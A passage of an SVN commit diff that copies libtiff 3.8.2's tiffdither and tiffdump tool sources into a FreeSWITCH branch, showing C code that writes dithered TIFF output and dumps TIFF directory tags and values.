+	TIFFSetField(out, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG);
+	TIFFSetField(out, TIFFTAG_COMPRESSION, compression);
+	if (fillorder)
+		TIFFSetField(out, TIFFTAG_FILLORDER, fillorder);
+	else
+		CopyField(TIFFTAG_FILLORDER, shortv);
+	sprintf(thing, "Dithered B&W version of %s", argv[optind]);
+	TIFFSetField(out, TIFFTAG_IMAGEDESCRIPTION, thing);
+	CopyField(TIFFTAG_PHOTOMETRIC, shortv);
+	CopyField(TIFFTAG_ORIENTATION, shortv);
+	CopyField(TIFFTAG_XRESOLUTION, floatv);
+	CopyField(TIFFTAG_YRESOLUTION, floatv);
+	CopyField(TIFFTAG_RESOLUTIONUNIT, shortv);
+	if (onestrip)
+		rowsperstrip = imagelength-1;
+	else
+		rowsperstrip = TIFFDefaultStripSize(out, rowsperstrip);
+	TIFFSetField(out, TIFFTAG_ROWSPERSTRIP, rowsperstrip);
+	switch (compression) {
+	case COMPRESSION_CCITTFAX3:
+		TIFFSetField(out, TIFFTAG_GROUP3OPTIONS, group3options);
+		break;
+	case COMPRESSION_LZW:
+	case COMPRESSION_DEFLATE:
+		if (predictor)
+			TIFFSetField(out, TIFFTAG_PREDICTOR, predictor);
+		break;
+	}
+	fsdither(in, out);
+	TIFFClose(in);
+	TIFFClose(out);
+	return (0);
+}
+
+char* stuff[] = {
+"usage: tiffdither [options] input.tif output.tif",
+"where options are:",
+" -r #		make each strip have no more than # rows",
+" -f lsb2msb	force lsb-to-msb FillOrder for output",
+" -f msb2lsb	force msb-to-lsb FillOrder for output",
+" -c lzw[:opts]	compress output with Lempel-Ziv & Welch encoding",
+" -c zip[:opts]	compress output with deflate encoding",
+" -c packbits	compress output with packbits encoding",
+" -c g3[:opts]	compress output with CCITT Group 3 encoding",
+" -c g4		compress output with CCITT Group 4 encoding",
+" -c none	use no compression algorithm on output",
+"",
+"Group 3 options:",
+" 1d		use default CCITT Group 3 1D-encoding",
+" 2d		use optional CCITT Group 3 2D-encoding",
+" fill		byte-align EOL codes",
+"For example, -c g3:2d:fill to get G3-2D-encoded data with byte-aligned EOLs",
+"",
+"LZW and deflate options:",
+" #		set predictor value",
+"For example, -c lzw:2 to get LZW-encoded data with horizontal differencing",
+NULL
+};
+
+static void
+usage(void)
+{
+	char buf[BUFSIZ];
+	int i;
+
+	setbuf(stderr, buf);
+        fprintf(stderr, "%s\n\n", TIFFGetVersion());
+	for (i = 0; stuff[i] != NULL; i++)
+		fprintf(stderr, "%s\n", stuff[i]);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdump.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdump.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffdump.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdump.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffdump.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,778 @@
+/* $Id: tiffdump.c,v 1.13 2005/11/21 03:35:06 fwarmerdam Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#include "tif_config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+
+#ifdef HAVE_UNISTD_H
+# include <unistd.h>
+#endif
+
+#ifdef HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#ifdef HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+
+#ifdef HAVE_IO_H
+# include <io.h>
+#endif
+
+#include "tiffio.h"
+
+#ifndef O_BINARY
+# define O_BINARY	0
+#endif
+
+char*	appname;
+char*	curfile;
+int	swabflag;
+int	bigendian;
+int	typeshift[14];		/* data type shift counts */
+long	typemask[14];		/* data type masks */
+uint32	maxitems = 24;		/* maximum indirect data items to print */
+
+char*	bytefmt = "%s%#02x";		/* BYTE */
+char*	sbytefmt = "%s%d";		/* SBYTE */
+char*	shortfmt = "%s%u";		/* SHORT */
+char*	sshortfmt = "%s%d";		/* SSHORT */
+char*	longfmt = "%s%lu";		/* LONG */
+char*	slongfmt = "%s%ld";		/* SLONG */
+char*	rationalfmt = "%s%g";		/* RATIONAL */
+char*	srationalfmt = "%s%g";		/* SRATIONAL */
+char*	floatfmt = "%s%g";		/* FLOAT */
+char*	doublefmt = "%s%g";		/* DOUBLE */
+char*	ifdfmt = "%s%#04x";		/* IFD offset */
+
+static	void dump(int, off_t);
+extern	int optind;
+extern	char* optarg;
+
+void
+usage()
+{
+	fprintf(stderr, "usage: %s [-h] [-o offset] [-m maxitems] file.tif ...\n", appname);
+	exit(-1);
+}
+
+int
+main(int argc, char* argv[])
+{
+	int one = 1, fd;
+	int multiplefiles = (argc > 1);
+	int c;
+	uint32 diroff = (uint32) 0;
+	bigendian = (*(char *)&one == 0);
+
+	appname = argv[0];
+	while ((c = getopt(argc, argv, "m:o:h")) != -1) {
+		switch (c) {
+		case 'h':			/* print values in hex */
+			shortfmt = "%s%#x";
+			sshortfmt = "%s%#x";
+			longfmt = "%s%#lx";
+			slongfmt = "%s%#lx";
+			break;
+		case 'o':
+			diroff = (uint32) strtoul(optarg, NULL, 0);
+			break;
+		case 'm':
+			maxitems = strtoul(optarg, NULL, 0);
+			break;
+		default:
+			usage();
+		}
+	}
+	if (optind >= argc)
+		usage();
+	for (; optind < argc; optind++) {
+		fd = open(argv[optind], O_RDONLY|O_BINARY, 0);
+		if (fd < 0) {
+			perror(argv[0]);
+			return (-1);
+		}
+		if (multiplefiles)
+			printf("%s:\n", argv[optind]);
+		curfile = argv[optind];
+		swabflag = 0;
+		dump(fd, diroff);
+		close(fd);
+	}
+	return (0);
+}
+
+static	TIFFHeader hdr;
+
+#define	ord(e)	((int)e)
+
+/*
+ * Initialize shift & mask tables and byte
+ * swapping state according to the file
+ * byte order.
+ */
+static void
+InitByteOrder(int magic)
+{
+	typemask[0] = 0;
+	typemask[ord(TIFF_BYTE)] = 0xff;
+	typemask[ord(TIFF_SBYTE)] = 0xff;
+	typemask[ord(TIFF_UNDEFINED)] = 0xff;
+	typemask[ord(TIFF_SHORT)] = 0xffff;
+	typemask[ord(TIFF_SSHORT)] = 0xffff;
+	typemask[ord(TIFF_LONG)] = 0xffffffff;
+	typemask[ord(TIFF_SLONG)] = 0xffffffff;
+	typemask[ord(TIFF_IFD)] = 0xffffffff;
+	typemask[ord(TIFF_RATIONAL)] = 0xffffffff;
+	typemask[ord(TIFF_SRATIONAL)] = 0xffffffff;
+	typemask[ord(TIFF_FLOAT)] = 0xffffffff;
+	typemask[ord(TIFF_DOUBLE)] = 0xffffffff;
+	typeshift[0] = 0;
+	typeshift[ord(TIFF_LONG)] = 0;
+	typeshift[ord(TIFF_SLONG)] = 0;
+	typeshift[ord(TIFF_IFD)] = 0;
+	typeshift[ord(TIFF_RATIONAL)] = 0;
+	typeshift[ord(TIFF_SRATIONAL)] = 0;
+	typeshift[ord(TIFF_FLOAT)] = 0;
+	typeshift[ord(TIFF_DOUBLE)] = 0;
+	if (magic == TIFF_BIGENDIAN || magic == MDI_BIGENDIAN) {
+		typeshift[ord(TIFF_BYTE)] = 24;
+		typeshift[ord(TIFF_SBYTE)] = 24;
+		typeshift[ord(TIFF_SHORT)] = 16;
+		typeshift[ord(TIFF_SSHORT)] = 16;
+		swabflag = !bigendian;
+	} else {
+		typeshift[ord(TIFF_BYTE)] = 0;
+		typeshift[ord(TIFF_SBYTE)] = 0;
+		typeshift[ord(TIFF_SHORT)] = 0;
+		typeshift[ord(TIFF_SSHORT)] = 0;
+		swabflag = bigendian;
+	}
+}
+
+static	off_t ReadDirectory(int, unsigned, off_t);
+static	void ReadError(char*);
+static	void Error(const char*, ...);
+static	void Fatal(const char*, ...);
+
+static void
+dump(int fd, off_t diroff)
+{
+	unsigned i;
+
+	lseek(fd, (off_t) 0, 0);
+	if (read(fd, (char*) &hdr, sizeof (hdr)) != sizeof (hdr))
+		ReadError("TIFF header");
+	/*
+	 * Setup the byte order handling.
+	 */
+	if (hdr.tiff_magic != TIFF_BIGENDIAN && hdr.tiff_magic != TIFF_LITTLEENDIAN &&
+#if HOST_BIGENDIAN
+	    // MDI is sensitive to the host byte order, unlike TIFF
+	    MDI_BIGENDIAN != hdr.tiff_magic )
+#else
+	    MDI_LITTLEENDIAN != hdr.tiff_magic )
+#endif
+		Fatal("Not a TIFF or MDI file, bad magic number %u (%#x)",
+		    hdr.tiff_magic, hdr.tiff_magic);
+	InitByteOrder(hdr.tiff_magic);
+	/*
+	 * Swap header if required.
+	 */
+	if (swabflag) {
+		TIFFSwabShort(&hdr.tiff_version);
+		TIFFSwabLong(&hdr.tiff_diroff);
+	}
+	/*
+	 * Now check version (if needed, it's been byte-swapped).
+	 * Note that this isn't actually a version number, it's a
+	 * magic number that doesn't change (stupid).
+	 */
+	if (hdr.tiff_version != TIFF_VERSION)
+		Fatal("Not a TIFF file, bad version number %u (%#x)",
+		    hdr.tiff_version, hdr.tiff_version); 
+	printf("Magic: %#x <%s-endian> Version: %#x\n",
+	    hdr.tiff_magic,
+	    hdr.tiff_magic == TIFF_BIGENDIAN ? "big" : "little",
+	    hdr.tiff_version);
+	if (diroff == 0)
+	    diroff = hdr.tiff_diroff;
+	for (i = 0; diroff != 0; i++) {
+		if (i > 0)
+			putchar('\n');
+		diroff = ReadDirectory(fd, i, diroff);
+	}
+}
+
+static int datawidth[] = {
+    0,	/* nothing */
+    1,	/* TIFF_BYTE */
+    1,	/* TIFF_ASCII */
+    2,	/* TIFF_SHORT */
+    4,	/* TIFF_LONG */
+    8,	/* TIFF_RATIONAL */
+    1,	/* TIFF_SBYTE */
+    1,	/* TIFF_UNDEFINED */
+    2,	/* TIFF_SSHORT */
+    4,	/* TIFF_SLONG */
+    8,	/* TIFF_SRATIONAL */
+    4,	/* TIFF_FLOAT */
+    8,	/* TIFF_DOUBLE */
+    4	/* TIFF_IFD */
+};
+#define	NWIDTHS	(sizeof (datawidth) / sizeof (datawidth[0]))
+static	int TIFFFetchData(int, TIFFDirEntry*, void*);
+static	void PrintTag(FILE*, uint16);
+static	void PrintType(FILE*, uint16);
+static	void PrintData(FILE*, uint16, uint32, unsigned char*);
+static	void PrintByte(FILE*, const char*, TIFFDirEntry*);
+static	void PrintShort(FILE*, const char*, TIFFDirEntry*);
+static	void PrintLong(FILE*, const char*, TIFFDirEntry*);
+
+/*
+ * Read the next TIFF directory from a file
+ * and convert it to the internal format.
+ * We read directories sequentially.
+ */
+static off_t
+ReadDirectory(int fd, unsigned ix, off_t off)
+{
+	register TIFFDirEntry *dp;
+	register unsigned int n;
+	TIFFDirEntry *dir = 0;
+	uint16 dircount;
+	int space;
+	uint32 nextdiroff = 0;
+
+	if (off == 0)			/* no more directories */
+		goto done;
+	if (lseek(fd, (off_t) off, 0) != off) {
+		Fatal("Seek error accessing TIFF directory");
+		goto done;
+	}
+	if (read(fd, (char*) &dircount, sizeof (uint16)) != sizeof (uint16)) {
+		ReadError("directory count");
+		goto done;
+	}
+	if (swabflag)
+		TIFFSwabShort(&dircount);
+	dir = (TIFFDirEntry *)_TIFFmalloc(dircount * sizeof (TIFFDirEntry));
+	if (dir == NULL) {
+		Fatal("No space for TIFF directory");
+		goto done;
+	}
+	n = read(fd, (char*) dir, dircount*sizeof (*dp));
+	if (n != dircount*sizeof (*dp)) {
+		n /= sizeof (*dp);
+		Error(
+	    "Could only read %u of %u entries in directory at offset %#lx",
+		    n, dircount, (unsigned long) off);
+		dircount = n;
+	}
+	if (read(fd, (char*) &nextdiroff, sizeof (uint32)) != sizeof (uint32))
+		nextdiroff = 0;
+	if (swabflag)
+		TIFFSwabLong(&nextdiroff);
+	printf("Directory %u: offset %lu (%#lx) next %lu (%#lx)\n", ix,
+	    (unsigned long)off, (unsigned long)off,
+	    (unsigned long)nextdiroff, (unsigned long)nextdiroff);
+	for (dp = dir, n = dircount; n > 0; n--, dp++) {
+		if (swabflag) {
+			TIFFSwabArrayOfShort(&dp->tdir_tag, 2);
+			TIFFSwabArrayOfLong(&dp->tdir_count, 2);
+		}
+		PrintTag(stdout, dp->tdir_tag);
+		putchar(' ');
+		PrintType(stdout, dp->tdir_type);
+		putchar(' ');
+		printf("%lu<", (unsigned long) dp->tdir_count);
+		if (dp->tdir_type >= NWIDTHS) {
+			printf(">\n");
+			continue;
+		}
+		space = dp->tdir_count * datawidth[dp->tdir_type];
+		if (space <= 0) {
+			printf(">\n");
+			Error("Invalid count for tag %u", dp->tdir_tag);
+			continue;
+                }
+		if (space <= 4) {
+			switch (dp->tdir_type) {
+			case TIFF_FLOAT:
+			case TIFF_UNDEFINED:
+			case TIFF_ASCII: {
+				unsigned char data[4];
+				_TIFFmemcpy(data, &dp->tdir_offset, 4);
+				if (swabflag)
+					TIFFSwabLong((uint32*) data);
+				PrintData(stdout,
+				    dp->tdir_type, dp->tdir_count, data);
+				break;
+			}
+			case TIFF_BYTE:
+				PrintByte(stdout, bytefmt, dp);
+				break;
+			case TIFF_SBYTE:
+				PrintByte(stdout, sbytefmt, dp);
+				break;
+			case TIFF_SHORT:
+				PrintShort(stdout, shortfmt, dp);
+				break;
+			case TIFF_SSHORT:
+				PrintShort(stdout, sshortfmt, dp);
+				break;
+			case TIFF_LONG:
+				PrintLong(stdout, longfmt, dp);
+				break;
+			case TIFF_SLONG:
+				PrintLong(stdout, slongfmt, dp);
+				break;
+			case TIFF_IFD:
+				PrintLong(stdout, ifdfmt, dp);
+				break;
+			}
+		} else {
+			unsigned char *data = (unsigned char *)_TIFFmalloc(space);
+			if (data) {
+				if (TIFFFetchData(fd, dp, data)) {
+					if (dp->tdir_count > maxitems) {
+						PrintData(stdout, dp->tdir_type,
+						    maxitems, data);
+						printf(" ...");
+					} else
+						PrintData(stdout, dp->tdir_type,
+						    dp->tdir_count, data);
+                                }
+				_TIFFfree(data);
+			} else
+				Error("No space for data for tag %u",
+				    dp->tdir_tag);
+		}
+		printf(">\n");
+	}
+done:
+	if (dir)
+		_TIFFfree((char *)dir);
+	return (nextdiroff);
+}
+
+static	struct tagname {
+	uint16	tag;
+	char*	name;
+} tagnames[] = {
+    { TIFFTAG_SUBFILETYPE,	"SubFileType" },
+    { TIFFTAG_OSUBFILETYPE,	"OldSubFileType" },
+    { TIFFTAG_IMAGEWIDTH,	"ImageWidth" },
+    { TIFFTAG_IMAGELENGTH,	"ImageLength" },
+    { TIFFTAG_BITSPERSAMPLE,	"BitsPerSample" },
+    { TIFFTAG_COMPRESSION,	"Compression" },
+    { TIFFTAG_PHOTOMETRIC,	"Photometric" },
+    { TIFFTAG_THRESHHOLDING,	"Threshholding" },
+    { TIFFTAG_CELLWIDTH,	"CellWidth" },
+    { TIFFTAG_CELLLENGTH,	"CellLength" },
+    { TIFFTAG_FILLORDER,	"FillOrder" },
+    { TIFFTAG_DOCUMENTNAME,	"DocumentName" },
+    { TIFFTAG_IMAGEDESCRIPTION,	"ImageDescription" },
+    { TIFFTAG_MAKE,		"Make" },
+    { TIFFTAG_MODEL,		"Model" },
+    { TIFFTAG_STRIPOFFSETS,	"StripOffsets" },
+    { TIFFTAG_ORIENTATION,	"Orientation" },
+    { TIFFTAG_SAMPLESPERPIXEL,	"SamplesPerPixel" },
+    { TIFFTAG_ROWSPERSTRIP,	"RowsPerStrip" },
+    { TIFFTAG_STRIPBYTECOUNTS,	"StripByteCounts" },
+    { TIFFTAG_MINSAMPLEVALUE,	"MinSampleValue" },
+    { TIFFTAG_MAXSAMPLEVALUE,	"MaxSampleValue" },
+    { TIFFTAG_XRESOLUTION,	"XResolution" },
+    { TIFFTAG_YRESOLUTION,	"YResolution" },
+    { TIFFTAG_PLANARCONFIG,	"PlanarConfig" },
+    { TIFFTAG_PAGENAME,		"PageName" },
+    { TIFFTAG_XPOSITION,	"XPosition" },
+    { TIFFTAG_YPOSITION,	"YPosition" },
+    { TIFFTAG_FREEOFFSETS,	"FreeOffsets" },
+    { TIFFTAG_FREEBYTECOUNTS,	"FreeByteCounts" },
+    { TIFFTAG_GRAYRESPONSEUNIT,	"GrayResponseUnit" },
+    { TIFFTAG_GRAYRESPONSECURVE,"GrayResponseCurve" },
+    { TIFFTAG_GROUP3OPTIONS,	"Group3Options" },
+    { TIFFTAG_GROUP4OPTIONS,	"Group4Options" },
+    { TIFFTAG_RESOLUTIONUNIT,	"ResolutionUnit" },
+    { TIFFTAG_PAGENUMBER,	"PageNumber" },
+    { TIFFTAG_COLORRESPONSEUNIT,"ColorResponseUnit" },
+    { TIFFTAG_TRANSFERFUNCTION,	"TransferFunction" },
+    { TIFFTAG_SOFTWARE,		"Software" },
+    { TIFFTAG_DATETIME,		"DateTime" },
+    { TIFFTAG_ARTIST,		"Artist" },
+    { TIFFTAG_HOSTCOMPUTER,	"HostComputer" },
+    { TIFFTAG_PREDICTOR,	"Predictor" },
+    { TIFFTAG_WHITEPOINT,	"Whitepoint" },
+    { TIFFTAG_PRIMARYCHROMATICITIES,"PrimaryChromaticities" },
+    { TIFFTAG_COLORMAP,		"Colormap" },
+    { TIFFTAG_HALFTONEHINTS,	"HalftoneHints" },
+    { TIFFTAG_TILEWIDTH,	"TileWidth" },
+    { TIFFTAG_TILELENGTH,	"TileLength" },
+    { TIFFTAG_TILEOFFSETS,	"TileOffsets" },
+    { TIFFTAG_TILEBYTECOUNTS,	"TileByteCounts" },
+    { TIFFTAG_BADFAXLINES,	"BadFaxLines" },
+    { TIFFTAG_CLEANFAXDATA,	"CleanFaxData" },
+    { TIFFTAG_CONSECUTIVEBADFAXLINES, "ConsecutiveBadFaxLines" },
+    { TIFFTAG_SUBIFD,		"SubIFD" },
+    { TIFFTAG_INKSET,		"InkSet" },
+    { TIFFTAG_INKNAMES,		"InkNames" },
+    { TIFFTAG_NUMBEROFINKS,	"NumberOfInks" },
+    { TIFFTAG_DOTRANGE,		"DotRange" },
+    { TIFFTAG_TARGETPRINTER,	"TargetPrinter" },
+    { TIFFTAG_EXTRASAMPLES,	"ExtraSamples" },
+    { TIFFTAG_SAMPLEFORMAT,	"SampleFormat" },
+    { TIFFTAG_SMINSAMPLEVALUE,	"SMinSampleValue" },
+    { TIFFTAG_SMAXSAMPLEVALUE,	"SMaxSampleValue" },
+    { TIFFTAG_JPEGPROC,		"JPEGProcessingMode" },
+    { TIFFTAG_JPEGIFOFFSET,	"JPEGInterchangeFormat" },
+    { TIFFTAG_JPEGIFBYTECOUNT,	"JPEGInterchangeFormatLength" },
+    { TIFFTAG_JPEGRESTARTINTERVAL,"JPEGRestartInterval" },
+    { TIFFTAG_JPEGLOSSLESSPREDICTORS,"JPEGLosslessPredictors" },
+    { TIFFTAG_JPEGPOINTTRANSFORM,"JPEGPointTransform" },
+    { TIFFTAG_JPEGTABLES,       "JPEGTables" },
+    { TIFFTAG_JPEGQTABLES,	"JPEGQTables" },
+    { TIFFTAG_JPEGDCTABLES,	"JPEGDCTables" },
+    { TIFFTAG_JPEGACTABLES,	"JPEGACTables" },
+    { TIFFTAG_YCBCRCOEFFICIENTS,"YCbCrCoefficients" },
+    { TIFFTAG_YCBCRSUBSAMPLING,	"YCbCrSubsampling" },
+    { TIFFTAG_YCBCRPOSITIONING,	"YCbCrPositioning" },
+    { TIFFTAG_REFERENCEBLACKWHITE, "ReferenceBlackWhite" },
+    { TIFFTAG_REFPTS,		"IgReferencePoints (Island Graphics)" },
+    { TIFFTAG_REGIONTACKPOINT,	"IgRegionTackPoint (Island Graphics)" },
+    { TIFFTAG_REGIONWARPCORNERS,"IgRegionWarpCorners (Island Graphics)" },
+    { TIFFTAG_REGIONAFFINE,	"IgRegionAffine (Island Graphics)" },
+    { TIFFTAG_MATTEING,		"OBSOLETE Matteing (Silicon Graphics)" },
+    { TIFFTAG_DATATYPE,		"OBSOLETE DataType (Silicon Graphics)" },
+    { TIFFTAG_IMAGEDEPTH,	"ImageDepth (Silicon Graphics)" },
+    { TIFFTAG_TILEDEPTH,	"TileDepth (Silicon Graphics)" },
+    { 32768,			"OLD BOGUS Matteing tag" },
+    { TIFFTAG_COPYRIGHT,	"Copyright" },
+    { TIFFTAG_ICCPROFILE,	"ICC Profile" },
+    { TIFFTAG_JBIGOPTIONS,	"JBIG Options" },
+    { TIFFTAG_STONITS,		"StoNits" },
+};
+#define	NTAGS	(sizeof (tagnames) / sizeof (tagnames[0]))
+
+static void
+PrintTag(FILE* fd, uint16 tag)
+{
+	register struct tagname *tp;
+
+	for (tp = tagnames; tp < &tagnames[NTAGS]; tp++)
+		if (tp->tag == tag) {
+			fprintf(fd, "%s (%u)", tp->name, tag);
+			return;
+		}
+	fprintf(fd, "%u (%#x)", tag, tag);
+}
+
+static void
+PrintType(FILE* fd, uint16 type)
+{
+	static char *typenames[] = {
+	    "0",
+	    "BYTE",
+	    "ASCII",
+	    "SHORT",
+	    "LONG",
+	    "RATIONAL",
+	    "SBYTE",
+	    "UNDEFINED",
+	    "SSHORT",
+	    "SLONG",
+	    "SRATIONAL",
+	    "FLOAT",
+	    "DOUBLE"
+	};
+#define	NTYPES	(sizeof (typenames) / sizeof (typenames[0]))
+
+	if (type < NTYPES)
+		fprintf(fd, "%s (%u)", typenames[type], type);
+	else
+		fprintf(fd, "%u (%#x)", type, type);
+}
+#undef	NTYPES
+
+static void
+PrintByte(FILE* fd, const char* fmt, TIFFDirEntry* dp)
+{
+	char* sep = "";
+
+	if (hdr.tiff_magic == TIFF_BIGENDIAN) {
+		switch ((int)dp->tdir_count) {
+		case 4: fprintf(fd, fmt, sep, dp->tdir_offset&0xff);
+			sep = " ";
+		case 3: fprintf(fd, fmt, sep, (dp->tdir_offset>>8)&0xff);
+			sep = " ";
+		case 2: fprintf(fd, fmt, sep, (dp->tdir_offset>>16)&0xff);
+			sep = " ";
+		case 1: fprintf(fd, fmt, sep, dp->tdir_offset>>24);
+		}
+	} else {
+		switch ((int)dp->tdir_count) {
+		case 4: fprintf(fd, fmt, sep, dp->tdir_offset>>24);
+			sep = " ";
+		case 3: fprintf(fd, fmt, sep, (dp->tdir_offset>>16)&0xff);
+			sep = " ";
+		case 2: fprintf(fd, fmt, sep, (dp->tdir_offset>>8)&0xff);
+			sep = " ";
+		case 1: fprintf(fd, fmt, sep, dp->tdir_offset&0xff);
+		}
+	}
+}
+
+static void
+PrintShort(FILE* fd, const char* fmt, TIFFDirEntry* dp)
+{
+	char *sep = "";
+
+	if (hdr.tiff_magic == TIFF_BIGENDIAN) {
+		switch (dp->tdir_count) {
+		case 2: fprintf(fd, fmt, sep, dp->tdir_offset&0xffff);
+			sep = " ";
+		case 1: fprintf(fd, fmt, sep, dp->tdir_offset>>16);
+		}
+	} else {
+		switch (dp->tdir_count) {
+		case 2: fprintf(fd, fmt, sep, dp->tdir_offset>>16);
+			sep = " ";
+		case 1: fprintf(fd, fmt, sep, dp->tdir_offset&0xffff);
+		}
+	}
+}
+
+static void
+PrintLong(FILE* fd, const char* fmt, TIFFDirEntry* dp)
+{
+	fprintf(fd, fmt, "", (long) dp->tdir_offset);
+}
+
+#include <ctype.h>
+
+static void
+PrintASCII(FILE* fd, uint32 cc, const unsigned char* cp)
+{
+	for (; cc > 0; cc--, cp++) {
+		const char* tp;
+
+		if (isprint(*cp)) {
+			fputc(*cp, fd);
+			continue;
+		}
+		for (tp = "\tt\bb\rr\nn\vv"; *tp; tp++)
+			if (*tp++ == *cp)
+				break;
+		if (*tp)
+			fprintf(fd, "\\%c", *tp);
+		else if (*cp)
+			fprintf(fd, "\\%03o", *cp);
+		else
+			fprintf(fd, "\\0");
+	}
+}
+
+static void
+PrintData(FILE* fd, uint16 type, uint32 count, unsigned char* data)
+{
+	char* sep = "";
+
+	switch (type) {
+	case TIFF_BYTE:
+		while (count-- > 0)
+			fprintf(fd, bytefmt, sep, *data++), sep = " ";
+		break;
+	case TIFF_SBYTE:
+		while (count-- > 0)
+			fprintf(fd, sbytefmt, sep, *(char *)data++), sep = " ";
+		break;
+	case TIFF_UNDEFINED:
+		while (count-- > 0)
+			fprintf(fd, bytefmt, sep, *data++), sep = " ";
+		break;
+	case TIFF_ASCII:
+		PrintASCII(fd, count, data);
+		break;
+	case TIFF_SHORT: {
+		uint16 *wp = (uint16*)data;
+		while (count-- > 0)
+			fprintf(fd, shortfmt, sep, *wp++), sep = " ";
+		break;
+	}
+	case TIFF_SSHORT: {
+		int16 *wp = (int16*)data;
+		while (count-- > 0)
+			fprintf(fd, sshortfmt, sep, *wp++), sep = " ";
+		break;
+	}
+	case TIFF_LONG: {
+		uint32 *lp = (uint32*)data;
+		while (count-- > 0) {
+			fprintf(fd, longfmt, sep, (unsigned long) *lp++);
+			sep = " ";
+		}
+		break;
+	}
+	case TIFF_SLONG: {
+		int32 *lp = (int32*)data;
+		while (count-- > 0)
+			fprintf(fd, slongfmt, sep, (long) *lp++), sep = " ";
+		break;
+	}
+	case TIFF_RATIONAL: {
+		uint32 *lp = (uint32*)data;
+		while (count-- > 0) {
+			if (lp[1] == 0)
+				fprintf(fd, "%sNan (%lu/%lu)", sep,
+				    (unsigned long) lp[0],
+				    (unsigned long) lp[1]);
+			else
+				fprintf(fd, rationalfmt, sep,
+				    (double)lp[0] / (double)lp[1]);
+			sep = " ";
+			lp += 2;
+		}
+		break;
+	}
+	case TIFF_SRATIONAL: {
+		int32 *lp = (int32*)data;
+		while (count-- > 0) {
+			if (lp[1] == 0)
+				fprintf(fd, "%sNan (%ld/%ld)", sep,
+				    (long) lp[0], (long) lp[1]);
+			else
+				fprintf(fd, srationalfmt, sep,
+				    (double)lp[0] / (double)lp[1]);
+			sep = " ";
+			lp += 2;
+		}
+		break;
+	}
+	case TIFF_FLOAT: {
+		float *fp = (float *)data;
+		while (count-- > 0)
+			fprintf(fd, floatfmt, sep, *fp++), sep = " ";
+		break;
+	}
+	case TIFF_DOUBLE: {
+		double *dp = (double *)data;
+		while (count-- > 0)
+			fprintf(fd, doublefmt, sep, *dp++), sep = " ";
+		break;
+	}
+	case TIFF_IFD: {
+		uint32 *lp = (uint32*)data;
+		while (count-- > 0) {
+			fprintf(fd, ifdfmt, sep, (unsigned long) *lp++);
+			sep = " ";
+		}
+		break;
+	}
+	}
+}
+
+/*
+ * Fetch a contiguous directory item.
+ */
+static int
+TIFFFetchData(int fd, TIFFDirEntry* dir, void* cp)
+{
+	int cc, w;
+
+	w = (dir->tdir_type < NWIDTHS ? datawidth[dir->tdir_type] : 0);
+	cc = dir->tdir_count * w;
+	if (lseek(fd, (off_t)dir->tdir_offset, 0) != (off_t)-1
+	    && read(fd, cp, cc) != -1) {
+		if (swabflag) {
+			switch (dir->tdir_type) {
+			case TIFF_SHORT:
+			case TIFF_SSHORT:
+				TIFFSwabArrayOfShort((uint16*) cp,
+				    dir->tdir_count);
+				break;
+			case TIFF_LONG:
+			case TIFF_SLONG:
+			case TIFF_FLOAT:
+			case TIFF_IFD:
+				TIFFSwabArrayOfLong((uint32*) cp,
+				    dir->tdir_count);
+				break;
+			case TIFF_RATIONAL:
+				TIFFSwabArrayOfLong((uint32*) cp,
+				    2*dir->tdir_count);
+				break;
+			case TIFF_DOUBLE:
+				TIFFSwabArrayOfDouble((double*) cp,
+				    dir->tdir_count);
+				break;
+			}
+		}
+		return (cc);
+	}
+	Error("Error while reading data for tag %u", dir->tdir_tag);
+	return (0);
+}
+
+static void
+ReadError(char* what)
+{
+	Fatal("Error while reading %s", what);
+}
+
+#include <stdarg.h>
+
+static void
+vError(FILE* fd, const char* fmt, va_list ap)
+{
+	fprintf(fd, "%s: ", curfile);
+	vfprintf(fd, fmt, ap);
+	fprintf(fd, ".\n");
+}
+
+static void
+Error(const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	vError(stderr, fmt, ap);
+	va_end(ap);
+}
+
+static void
+Fatal(const char* fmt, ...)
+{
+	va_list ap;
+	va_start(ap, fmt);
+	vError(stderr, fmt, ap);
+	va_end(ap);
+	exit(-1);
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffgt.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffgt.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/tools/tiffgt.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/tools/tiffgt.c	                        (rev 0)
